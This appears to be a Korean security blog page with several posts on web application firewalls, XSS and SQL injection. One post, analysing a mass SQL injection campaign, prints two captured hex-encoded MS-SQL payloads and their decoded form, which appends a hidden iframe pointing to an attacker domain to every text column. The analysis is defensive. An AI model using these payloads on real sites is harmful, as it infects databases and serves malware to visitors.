무료 웹방화벽 모듈인 ModSecurity가 2.7.6 버전을 출시하였습니다. 이 버전은 기존 버전에서 발견된 버그를 해결하였을 뿐만 아니라 새로운 IIS 설치 프로그램(윈도 서버용)을 채용하고, LibInjection 모듈도 업데이트되었습니다.


그러는 가운데, v2.7.7 버전도 출시되었습니다. 2.7.6은 2일전에, 2.7.7은 8시간 전에...




reTweet
Posted by 문스랩닷컴
blog comments powered by Disqus
    웹 보안에 관련된 취약점 가운데 가장 문제가 많이 발생하는 것으로는 SQL Injection과 XSS(Cross-Site Scripting) 취약점을 들 수 있습니다.

     
    위 표는 OWASP에서 선정한 웹 취약점 10대 항목으로 그 심각성을 손쉽게 알 수 있습니다.

    이 중에서 XSS 취약점은 로그인한 사용자의 계정 정보(쿠키 등)를 훔치거나 다른 사이트로 착각하게 하여 정보를 훔치는 피싱 공격의 주요한 수단으로 이용됩니다.

    지난 주말에 XSSed.COM에서는 네이버에서 발견된 다수의 XSS 취약점에 대한 정보가 공개되었습니다. 아직 수정되지 않은 것으로 보이며, 빠른 해결이 시급합니다.


    이러한 취약점은 일반적인 방화벽이나 웹방화벽(WAF) 등으로 막기에는 한계가 있으며 근본적인 해결책은 소스를 수정하는 것으로 개발 시점부터 이러한 문제점을 고려하는 것이 좋습니다.

    출처: http://xssed.com/search?key=naver

    감사합니다.






    reTweet
    Posted by 문스랩닷컴
    blog comments powered by Disqus
      최근 전세계적으로 SQL 인젝션 공격이 대규모로 발생하여 약 50여만 개의 웹사이트가 감염되어 충격을 주고 있습니다. 이 중에는 국내 웹사이트도 포함되어 있으며 약 2만 여개로 파악되고 있습니다. 이에 대한 사항을 정리해 봤습니다.

      자동화된 SQL 인젝션 공격은 최초에 SANS에서 파악되어 알려졌으며 자세한 사항은 아래와 같습니다.


      공격 코드로 추정되는 로그는 다음과 같습니다.

      공격 코드 #1.
      declare%20@s%20varchar(4000);set%20@s=cast(0x6445634c417245204054207661526368615228323535292c406320
      764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e61
      6d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e6964
      20614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e7854595
      0653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d2
      05461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657
      845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722
      834303030292c5b272b40432b275d29292b636153542830783343363936363732363136443635323037333732363333443232363837343
      73437303341324632463645363536443646363837353639364336343639363936453245373237353246373436343733324636373646324
      53730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343
      34432323330323232303733373437393643363533443232363436393733373036433631373933413645364636453635323233453343324
      6363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c65
      5f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c6
      55f435552736f7220%20as%20varchar(4000));exec(@s);--

      공격 코드 #2.
      declare%20@s%20varchar(4000);set%20@s=cast(0x6465636c617245204054205661726368417228323535292c406320
      566172436861522832353529206465436c615265207441624c455f637552736f7220437552536f7220664f522073454c45435420412e4e616d452
      c622e4e616d652066726f4d207379734f626a6563547320612c735973634f6c754d6e73206220576865524520612e69643d422e496420416e4420
      612e78545970453d27552720414e642028622e58745950653d3939204f5220622e58747950653d3335204f5220622e78747950453d323331206f7
      220422e58747950453d31363729206f70454e207441426c455f437552734f72206665746348206e4578742046724f6d205441426c655f637572736
      f7220494e546f2040742c4043205748694c6528404066655463485f7374615475733d302920624547694e20455845632827557064615465205b27
      2b40742b275d20536574205b272b40632b275d3d727472494d28434f6e7665525428764172434841722834303030292c5b272b40432b275d2929
      2b63615374283078334336393636373236313644363532303733373236333344323236383734373437303341324632463645363536443646363
      8373536393643363436393639364532453732373532463734363437333246363736463245373036383730334637333639363433443331323232
      3037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323
      6343639373337303643363137393341364536463645363532323345334332463639363637323631364436353345204173205641726348615228
      31303629292729204645546348206e4578542046524f4d205441626c655f437572734f5220494e546f2040742c406320654e6420436c4f53652054
      61624c455f635552734f52206445416c6c6f43415445205461426c455f435552736f5220%20as%20varchar(4000));exec(@s);--




      이 코드를 해독한 결과 다음과 같은 문자열을 찾아 낼 수 있습니다.

      공격 코드 #1.
      dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe='U' and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc('UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))') FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor

      공격 코드 #2.
      declarE @T VarchAr(255),@c VarChaR(255) deClaRe tAbLE_cuRsor CuRSor fOR sELECT A.NamE,b.Name froM sysObjecTs a,sYscOluMns b WheRE a.id=B.Id AnD a.xTYpE='U' ANd (b.XtYPe=99 OR b.XtyPe=35 OR b.xtyPE=231 or B.XtyPE=167) opEN tABlE_CuRsOr fetcH nExt FrOm TABle_cursor INTo @t,@C WHiLe(@@feTcH_staTus=0) bEGiN EXEc('UpdaTe ['+@t+'] Set ['+@c+']=rtrIM(COnveRT(vArCHAr(4000),['+@C+']))+caSt(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E As VArcHaR(106))') FETcH nExT FROM TAble_CursOR INTo @t,@c eNd ClOSe TabLE_cURsOR dEAlloCATE TaBlE_CURsoR


      주: 차이점은 declare 단어의 대소문자입니다.


      두번째 CAST() 에 포함되어 있는 문자열을 해독하면 아래와 같습니다.( 두개가 동일함)

      공격 코드 #1 & #2.
      <iframe src="hxxp://nemohuildiin.ru/tds/go.php?sid=1"  width="0" height="0" style="display:none"></iframe>

      (주: http 대신에 hxxp로 변경)


      현재 검색 엔진을 통해 감염된 웹페이지를 찾아 보면 대략 50여만 페이지가 넘습니다.


      nemohuildiin.ru 도메인은 중국에서 관리한 것으로 알려져 있으며 이미 방탄서버(bulletproof host)로 알려져 있는 AS4134 에 속해 있습니다. 이 네트워크는 Zeus 본넷의 C&C(Command and Control) 서버가 운영 중인 것으로 알려져 있습니다.

      구글의 검색 조건을 보다 자세하게 적용한 결과, AS4134가 조종하는 도메인은 약 3,008개에 이르며, 감염된 웹사이트는 약 20,800 개에 이릅니다. 구글 측에 따르면 현재 12,000 여개의 사이트가 현재에도 운영 중에 있다고 합니다.

      이렇게 웹 보안에서 가장 문제가 되는 SQL 인젝션 취약점은 최근에는 봇넷을 확장하는데 널리 이용되는 수단이 되고 있으며, 이 이외에도 바이러스 감염, 악성코드 전파 등도 함께 이뤄집니다.

      마지막으로, SQL 인젝션 취약점은 WAF(웹 방화벽, Web Application Firewall)로는 막기 어렵다는 것을 다시 한번 상기시켜 줍니다. 즉, 패턴(Pattern 또는 Signature)을 인식하여 차단하는 방식은 글자 한글자만 바꿔도 새로운 패턴으로 인식하는 한계를 지니고 있습니다.

      따라서, 이 문제점을 해결하기 위해서는 웹 소스 상에서 모든 매개변수 및 변수에 대해 안전한 값을 주고받는지 확인하는 Santization 과정을 반드시 수행하도록 소스를 개발 및 수정해야 합니다.

      감사합니다.

      참고자료: http://www.thetechherald.com/article.php/201033/6024/TTH-Labs-New-SQL-Injection-attack-hits-thousands-of-sites
      reTweet
      Posted by 문스랩닷컴
      blog comments powered by Disqus
        다양한 안티바이러스 제품을 가지고 수많은 악성 프로그램의 진단율 등 테스트를 진행하는 기관 가운데에는 AV-Comparatives가 유명합니다만, 그 외에도 여러 독립적인 기관이 활동하고 있습니다.

        AV-Comparatives에서는 주로 진단율에 대해 다루지만, 오늘 소개하는 ICSA 연구소에서는 인증(Certified)라는 개념으로 발표합니다.

        ICSA 연구소는 안티바이러스 제품뿐만 아니라, 방화벽과 같은
        네트워크 장비까지도 인증 대상으로 다루고 있습니다.

        따라서, ICSA 연구소에서 인증을 필(!)한 제품이라면 국제적으로나 기술적으로 믿을 수 있는 제품이라고 할 수 있습니다.

        ICSA 연구소에서는 인증한 제품에 대한 검색 기능을 제공합니다.


        아래 화면은 WAF(Web Application Firewall, 웹방화벽) 중 ICSA 연구소에서 인증된 제품에 대한 검색 결과 입니다.


        감사합니다.


        reTweet
        Posted by 문스랩닷컴
        blog comments powered by Disqus
          웹사이트에 관련된 취약점의 여파가 나날이 커지고 있습니다.

          최근 발간된 OWASP Top 10 2010년도 판에서도 이러한 경향을 반영하고 있습니다. 이 문서에 따르면 웹사이트의 취약점 중 가장 수위를 달리고 있는 것이 바로 SQL 인젝션(Injection)과 XSS(크로스 사이트 스크립팅) 공격입니다.

           
          <그림 1. OWASP 2007년도와 2010년도 버전의 취약점 비교>

          SQL 인젝션 및 XSS 취약점은 웹 사이트의 취약점 가운데 가장 많은 영향력을 미치고 있으며 그 피해도 매우 막대합니다. 최근에 발간된 IBM X-Force 2009 보안 경향 및 위험 보고서에 따르면 아래 도표와 같이 취약점의 약 40-50% 정도를 SQL 인젝션과 XSS 취약점이 차지하고 있습니다.

          이 두가지 취약점을 해결하기 위해 보안 업계에서는 다양한 노력을 수년째 지속하고 있습니다. 웹 관련 취약점을 막기 위해서는 다음과 같은 조치가 요구됩니다.

          • 보안 프로그래밍(Secure Programming)
          • WAF(Web Application Firewall) 도입 및 운영
          • 꾸준한 보안 점검(Q/A) 및 툴 이용
          이 중에서도 WAF는 현재 운영하는 웹사이트에 웹 취약점이 있는 경우에 긴급하게 도입할 때에 유용하게 사용할 수 있는 솔루션이며, 국내외에 다양한 제품이 판매되고 있습니다.

          하지만, 웹 취약점을 해결하기 위해서는 웹 소스 코드에 대한 초기 개발시에 보안에 입각한 프로그래밍이 진행되어야 합니다. 즉, 웹 소스를 고치지 않고서는 웹 취약점을 막을 수 없다는 것입니다.

          일 예로 WAF를 설치하여 현재에 안전하게 웹사이트를 보호하고 있더라도, 새로운 웹 취약점이나 공격 방법이 나타났을 때에는 무용지물이 될 가능성이 높습니다. 따라서, 개발시의 웹 소스에 대한 보안 검토가 반드시 필요합니다.

          웹 사이트는 정적으로 유지되는 것이 아니라 새롭게 페이지가 추가되고, 제거되는 성질을 지니고 있습니다. 따라서, 이벤트와 같이 웹 사이트 내에 새로운 페이지가 추가되는 경우에는 기존 웹사이트에 취약점이 없더라도 새롭게 추가될 가능성이 있습니다.

          따라서, 웹 개발 프로젝트가 진행될 때에는 정기적으로 Q/A 및 보안 검수를 거치고, 문제점이 발견될 때에는 이 문제점에 대한 원인 및 해결책을 프로그래머 및 PM 등이 충분히 검토하고 이해해야만 문제점을 해결할 수 있으며, 장차 새로운 개발 과정이 진행되더라도 취약점이 있는 웹 소스를 개발하는 실수를 줄일 수 있습니다.


          하지만, 웹 사이트가 방대한 경우에는 웹 사이트의 보안 검토에는 많은 인력과 시간, 그리고 경비가 필요합니다. 또한, 웹 취약점을 점검하여 찾아 내는 수많은 웹 스캐너들이 판매 및 무료로 제공되고 있지만, 사이트가 커질수록 이 툴을 이용하여 보안을 검토하기에는 시간적, 툴의 한계 등으로 인해 현실적으로 사용하기 어렵습니다.

          이러한 현실적인 문제점을 가지고 있는 사이트를 소개하고자 합니다.

          모두가 다 알고 있는 사이트, 바로 마이크로소프트(Microsoft) 웹사이트입니다. 아마도 MS는 수많은 웹사이트, 국가별 웹사이트를 가지고 있으며, 이들 사이트를 관리하는데에는 엄청난 인력과 비용이 들 거라는 것은 명약관화합니다.

          이렇게 큰 규모로 운영되는 웹사이트에서는 보안에 입각한 프로그래밍이 초기부터 진행되지 않는다면 아래의 화면과 같이 치명적인 취약점을 노출시킬 수 밖에 없습니다.


          이 취약점은 웹 사이트 내에 포함되어 있는 데이터베이스에 바로 접속하는 아주 크리티컬한 부분은 아니지만, 그러한 공격 경로 및 기타 다른 방법으로 웹사이트를 공격할 수 있는 엔트리 포인트나 경로로 이용될 수 있다는 점을 명심해야 합니다.

          감사합니다.




          PS: 마이크로소프트 측으로 해당 취약점을 메일로 통보했습니다.


          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus
            최근의 공격 성향을 보면, 일반 OS나 네트워크 단의 공격보다는 웹을 기반으로 하는 공격이 증가하고 있으며, 특히 치명적인 영향을 미치는 것이 특징입니다.

            이러한 웹에 관련된 취약점은 대부분 소스를 보안에 맞게 작성하지 않아서 발생합니다. 따라서, SQL 인젝션이나 XSS 공격 등을 차단하기 위해서는 소스를 수정해야 하지만, 현실적으로 소스를 신속하게 수정하기란 어렵습니다. 또한, 사이트가 계속 변경되고 발전되어 간다면 이 과정에서 소스를 수정하기도 힘듭니다.

            이러한 경우에는 WAF(Web Application Firewall)이라는 장치를 사용하여 웹 서버의 앞단에서 웹 공격으로 판단되는 패킷(요청)을 차단하는 새로운 형태의 보안 서비스가 출시되어 사용되고 있습니다.

            WAF에는 하드웨어 즉 장비 기반이 있고, 소프트웨어로 운영 체제 내에서 프로그램으로 돌아가는 형태가 있습니다. 하드웨어 기반은 가격이 비싼데 반해, 다양한 서버를 통합적으로 커버할 수 있다는 장점이 있습니다. 소프트웨어 기반은 가격은 저렴하지만 서버마다 설치하여 운영해야 하는 관리적인 부담이 있습니다.

            지금 소개하려는 제품은 소프트웨어 웹 방화벽 중 하나인 DragonWAF 입니다. 이 제품은 중국에서 개발된 것으로 알려져 있습니다. 지원하는 운영체제 및 IIS 버전은 다음과 같습니다.
            • 윈도우 NT - IIS 4.0
            • 윈도우 2000 - IIS 5.0
            • 윈도우 XP 프로페셔널 - IIS 5.1
            • 윈도우 2003 - IIS 6.0

            하지만 윈도우 2008에서 제공하는 IIS 7.0은 아직 지원하지 않습니다.

            DragonWAF에서 차단할 수 있는 웹 공격의 유형은 다음과 같습니다.

            1. SQL Injection
            2. Server-Side Include
            3. Directory Indexing
            4. Path Traversal
            5. Cross-Site Scripting
            6. Buffer Overflow
            7. LDAP Injection
            8. Phishing
            9. HTTP Response Splitting
            10. Content Spoofing
            11. Predictable Resource Location
            12. Denial of Service
            13. Application Fingerprinting
            14. Insufficient Session Expiration
            15. Session Fixation
            16. Web Server Fingerprinting
            17. Abuse of Functionality (emails, spiders, data theft)
            18. Command Injection

            사용자 인터페이스는 중국에서 만든 관계로 중국어(간체, 번체)와 영어를 지원하지만, 한국어는 별도로 지원하지 않습니다.

            마지막으로 일반 소프트웨어 제품과 마찬가지로 평가판을 제공하고 있습니다. 평가판은 아래 링크에서 일정 양식을 입력한 후에 사용하실 수 있습니다.

            http://www.dragonsoft.com/FreeTool/WAF/validation.php

            감사합니다.

            reTweet
            Posted by 문스랩닷컴
            blog comments powered by Disqus
              SQL Injection, XSS 공격과 같이 웹 공격을 차단하기 위해서는 원천적으로 소스를 수정해야 합니다. 하지만, 이러는 과정은 처음 개발할 때에는 상대적으로 쉽게 접근할 수 있지만, 웹사이트가 이미 개발이 완료되어 운영 중일 경우에는 소스를 고치기가 어렵습니다.

              이러한 경우에는 웹방화벽(WAF, Web Application Firewall)을 도입하여, 급한 불을 먼저 끄는 방식이 자주 사용됩니다.

              GreenSQL은 리눅스에서 동작하는 WAF로 특이하게도 리버스 프록시(Reverse Proxy) 방식으로 동작합니다. 아래 그림은 GreenSQL의 동작을 이해하기 쉽게 설명한 그림입니다.



              지난 10월 19일에 최신 버전인 1.1.0 이 출시되었으며 이 버전의 특징은 다음과 같습니다.

              • MySQL v5 프로토콜 지원
              • 코드 최적화
              • 새로운 패턴 추가
              • 화이트리스트에 항목 추가시 발생한 메모리 누수 수정
              • 데비안 배포판에서 컴파일시 경고 메시지 수정
              GreenSQL의 최신 버전은 아래 링크에서 다운로드할 수 있습니다.

              GreenSQL의 설명서는 아래 링크에서 볼 수 있습니다.
               
              감사합니다.


              11월 3일에 GreeSQL v1.2 버전이 출시되었습니다. 이 버전의 가장 큰 특징은 PostreSQL을 지원한다는 것으로, 기존 버전까지는 MySQL 만을 지원했습니다.
              아직, 새 버전에 대한 세부사항이 홈페이지에 업데이트되지는 않았습니다.





              reTweet
              Posted by 문스랩닷컴
              blog comments powered by Disqus
                미국의 NIST(National Institute of Standards and Technology, 국립표준기술연구원)에서는 다양한 IT 기술에 대한 정의 및 지침서를 제공합니다. 이에 대한 자세한 사항은 아래 링크를 참고하십시오.

                오늘 소개할 부분은 NIST SP 800-41 이라고 부르는 Guidelines on Fiewall and Firewall Policy(방화벽 및 정책에 대한 지침)에 대한 것입니다. 이 문서는 2002년도에 처음 특별 공고(SP, Speical Publication)로 발표되었습니다.

                하지만, 그 이후에 다양한 기술적인 변화가 이루어져 왔으며, 이러한 한계로 인해 기존 지침서가 제대로 효용성을 가지지 못하는 아쉬운 점이 있었습니다.

                2009년 10월 31일, 드디어 이 지침서의 개정판이 Revision 1이 공식적으로 공개되었습니다. PDF 문서 다운로드는 아래 링크를 참고하십시오.

                아직 시간이 많이 많지 않아 전체적으로 읽어 보지는 못했지만, 간략히 목차 상으로 살펴 보면, 새로운 몇가지 범주가 포함되었습니다. 이 내용은 처음 발간할 당시에는 현업에서 널리 이용되지 않았던 최신 기술들입니다.
                • Application Firewall
                • UTM(Unified Threat Management)
                • WAF(Web Application Firewall)
                • Firewalls for Vitual Infrastructures(가상화 기반을 위한 방화벽)

                감사합니다.

                PS: 


                 







                reTweet
                Posted by 문스랩닷컴
                blog comments powered by Disqus
                  WAF(웹 애플리케이션 방화벽)을 이야기할 때 항상 언급되는 단어가 바로 OWASP입니다. 며칠 전에 OWASP 유럽 2009 컨퍼런스가 폴란드에서 개최되었는데 여기에서 WAF의 취약점에 대한 연구가 발표되었습니다.
                  http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland

                  Wendel Henrique와 Sandro Gauci는 WAF의 특성을 파악하여 이를 공격하여 우회할 수 있다는 사실을 발표했으며, 특히 XSS와 같은 특정한 형태의 공격에 취약하여 공격받을 수 있다는 점을 보여주었습니다.

                  WAF를 공격하기 위해서 먼저 WAF가 어떤 회사의 제품인지 그리고 버전이 무엇인지 알아내는 도구인 WafW00f를 자체 개발하여 사용했습니다. 또한, WafFun이라는 자체 개발한 도구를 통해 블랙리스트 모드 또는 화이트리스트 모드에서 동작하는 WAF의 취약점을 이용하여 WAF 뒤에 위치한 웹 애플리케이션을 해킹하여 공격을 실행할 수 있다는 것 또한 보여주었습니다.

                  WAF 업계에서는 보통 화이트리스트 모드의 WAF와 블랙리스트 모드의 WAF로 나뉠 수 있습니다. 또한, 정규화(Normalization)과 인코딩, 디코딩을 지원하지 않는 서명 기반의 WAF도 볼 수 있습니다. WAF 벤더들은 자사 제품들이 숨김 모드(Stealth Mode)로 동작하기 때문에 외부에서 알아 낼 수 없다고 하지만, 실제 연구를 통해 이러한 주장이 정확하지 않다는 것이 밝혀졌습니다.

                  예전의 사례를 보면 IDS, IPS 시스템을 파악하여 이를 우회하는 공격을 보여준 연구자들이 있었으며, 또한 시그니처 기반의 WAF에서 SQL 인젝션 공격을 성공한 사례도 있었습니다.

                  하지만 보안 기업을 유명한 Imperva의 Mark Kraynak은 이들의 연구 중에 시그니처 기반의 툴에 대한 작품을 포함하여 이미 자사가 연구했던 것이라고 밝혔으며 이러한 많은 사항들이 새로 밝혀진것은 아니라고 합니다. 또한, WAF와 시그니처 엔진을 정확히 파악함으로써 취약한 시그니처 엔진을 침투할 수 있다고 합니다. 정규화나 인코딩/디코딩을 제공하지 않는 오직 서명 기반의 제품들은 실제로 WAF가 아니라고 밝혔습니다.

                  이들은 Armorlogic과 같은 다양한 WAF 벤더와 함께 취약점을 찾아 해결하기 위해 공동 작업을 진행 중에 있으며 며칠 후에 20여개 이상의 WAF 제품을 식별할 수 있는 새로운 WafW00F 도구를 출시할 예정이라고 합니다.

                  Herique는 "WAF는 정말 도움이 될만한 제품이지만, WAF보다는 보다 정확한 코드를 작성하고 정기적으로 테스트를 수행하여 취약점이 없는지 확인하는 것이 보다 더 안전하게 보호할 수 있는 방법"이라고 언급했습니다. "개발자들을 교육시키고 코드를 검증하고 웹 애플리케이션을 검사하는게 훨씬 유용하다"고 언급했습니다. 우리가 발견한 많은 WAF 제품의 문제점은 실제로 잘못된 설계상 문제점을 가지고 있으며 실제로 직접 공격당할 수 있습니다.

                  블랙리스트/서명 기반의 WAF 엔진보다는 화이트 리스트 기반의 WAF 엔진이 보다 강력하다고 할 수 있지만 실제로 큰 웹사이트에서는 반드시 필요한 것은 아니며, 일반적으로 블랙리스트 모델을 사용한다고 언급하였습니다. 이럼으로써 WAF가 공격당할 여지를 남겨두게 되는 것입니다.

                  결론: WAF는 우리가 사용하는 백신처럼 기본적으로 사용해야 하는 것이 현재 및 앞으로의 추세로 보입니다. 하지만, 가장 근본적인 문제점을 해결하는 것이 가장 중요합니다. 개발 단계에서부터 개발자에게 코드의 보안성에 대해 충분한 교육을 진행하고, 개발 단계 별로 코드를 검증하여 문제점이 발견될 때마다 수정하고, 마지막으로 사이트가 오픈되기 전에 전체적으로 점검하는 SDLC를 체계화할 필요가 있습니다.


                  reTweet
                  Posted by 문스랩닷컴
                  blog comments powered by Disqus


                    Web Analytics Blogs Directory